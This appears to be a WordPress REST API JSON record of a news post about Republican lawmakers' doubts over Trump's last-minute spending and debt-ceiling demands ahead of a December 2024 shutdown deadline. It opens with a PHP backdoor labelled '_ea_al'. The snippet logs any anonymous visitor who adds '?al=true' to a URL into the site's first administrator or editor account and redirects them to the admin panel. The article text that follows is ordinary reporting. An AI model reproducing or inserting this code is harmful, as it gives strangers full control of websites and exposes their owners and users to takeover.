// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":3854,"date":"2024-12-18T23:51:51","date_gmt":"2024-12-18T23:51:51","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/gop-lawmakers-air-doubts-about-trumps-last-minute-spending-demands\/"},"modified":"2024-12-18T23:51:51","modified_gmt":"2024-12-18T23:51:51","slug":"gop-lawmakers-air-doubts-about-trumps-last-minute-spending-demands","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/gop-lawmakers-air-doubts-about-trumps-last-minute-spending-demands\/","title":{"rendered":"GOP lawmakers air doubts about Trump’s last-minute spending demands"},"content":{"rendered":"
\n

President-elect Donald Trump is opening the door to a government shutdown a week before Christmas. Republican lawmakers don\u2019t appear to be on board.<\/p>\n

Facing a Friday night funding deadline, Republican leaders were already struggling to build support for passage of a bipartisan catch-all bill to punt the funding fight into March. Now Trump and incoming Vice President JD Vance are publicly excoriating the deal, calling on Speaker Mike Johnson and other Republicans to pass a funding bill without any Democratic priorities \u2014 even if it means a shutdown. They also want the debt ceiling raised along with that legislation, a complicated issue lawmakers hadn\u2019t planned to deal with for months.<\/p>\n

As GOP members streamed into Johnson\u2019s office to pick up gifts and stop by an ironically timed Christmas party, they didn\u2019t voice enthusiasm for Trump\u2019s demands. Recent debt limit negotiations have taken months and take up a lot of oxygen on Capitol Hill. Clearing it in days is a tall order, especially with lawmakers eager to leave town for the holidays.<\/p>\n

Rep. Mike Rogers (R-Ala.) answered \u201cno\u201d to questions about both if he\u2019s interested in launching debt limit talks at this point and if he thinks linking debt limit to spending is possible before the deadline.<\/p>\n

\u201cYou\u2019d love to have [a comprehensive spending deal] with the debt ceiling and then be done with it,\u201d said Rep. Kevin Hern (R-Okla.). \u201cThat’s not going to happen. There aren’t votes for that. But, you know, if you have a CR with the debt limit, at least, you get part of the problem done.\u201d<\/p>\n

Asked if it was realistic to try to add a debt ceiling increase to the spending bill, Hern responded: \u201cEvery time you change something, it\u2019s a challenge.\u201d<\/p>\n

Republicans are likely to need Democratic support to move any type of spending patch at this point. While GOP leaders were considering trying to pass a \u201cclean\u201d stopgap that left off the unrelated additions like disaster aid, they\u2019re nervous that pulling those would mean they lose even more support on both sides of the aisle.<\/p>\n

\u201cIf Congressional leaders intend to leave DC before the holidays without passing disaster recovery, they should be prepared to spend Christmas in the Capitol. I’ll use every tool available to block a CR that fails Western North Carolina communities in need of long-term certainty,\u201d Sen. Thom Tillis (R-N.C.) said on social media<\/a>.<\/p>\n

If Republicans opt to use a fast-track legislative procedure to bypass committees and get a funding patch to the floor, known as suspension, it would require a two-thirds majority to pass. That means a large number of Democrats would have to vote for it \u2014 and many of them had planned to back Johnson\u2019s existing plan that includes the additions.<\/p>\n

\u201cGreat question,\u201d said Rep. Blake Moore (R-Utah) when asked what incentives Democrats would have to help pass a bill with many of their priorities removed.<\/p>\n

Top Democrats signaled they weren\u2019t in any mood to bail Republicans out of their debt-and-spending predicament, which could leave the House majority in the lurch as the Friday government shutdown deadline draws closer. House Democrats were scheduled to meet for a closed-door caucus meeting Thursday morning as they charted their path forward.<\/p>\n

\u201cHouse Republicans have now unilaterally decided to break a bipartisan agreement that they made,\u201d said House Minority Leader Hakeem Jeffries. \u201cHouse Republicans have been ordered to shut down the government and hurt everyday Americans all across this country. House Republicans will now own any harm that is visited upon the American people that results from a government shutdown, or worse.\u201d<\/p>\n

Meanwhile, Senate Majority Leader Chuck Schumer said he was waiting to see what the House does.<\/p>\n

As the U.S. sits at more than $36 trillion in national debt, the cap on the nation\u2019s borrowing power will be reinstated on Jan. 1. Then starts months of Treasury Department guessing as to when the country would actually default on its loans despite the typical \u201cextraordinary measures\u201d the government deploys to prevent a default.<\/p>\n

Bipartisan negotiations to waive or raise the limit typically take months, as was the case during Trump\u2019s first administration, when he empowered then-Treasury Secretary Steven Mnuchin to strike a deal with then-Speaker Nancy Pelosi in 2017. That kind of debt deal is usually tied to an agreement on funding caps.<\/p>\n

Jennifer Scholtes contributed to this report.\u00a0<\/i><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

President-elect Donald Trump is opening the door to a government shutdown a week before Christmas. Republican lawmakers don\u2019t appear to be on board. Facing a Friday night funding deadline, Republican leaders were already struggling to build support for passage of a bipartisan catch-all bill to punt the funding fight into March. Now Trump and incoming […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-3854","post","type-post","status-publish","format-standard","hentry","category-congress"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/3854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=3854"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/3854\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=3854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=3854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=3854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}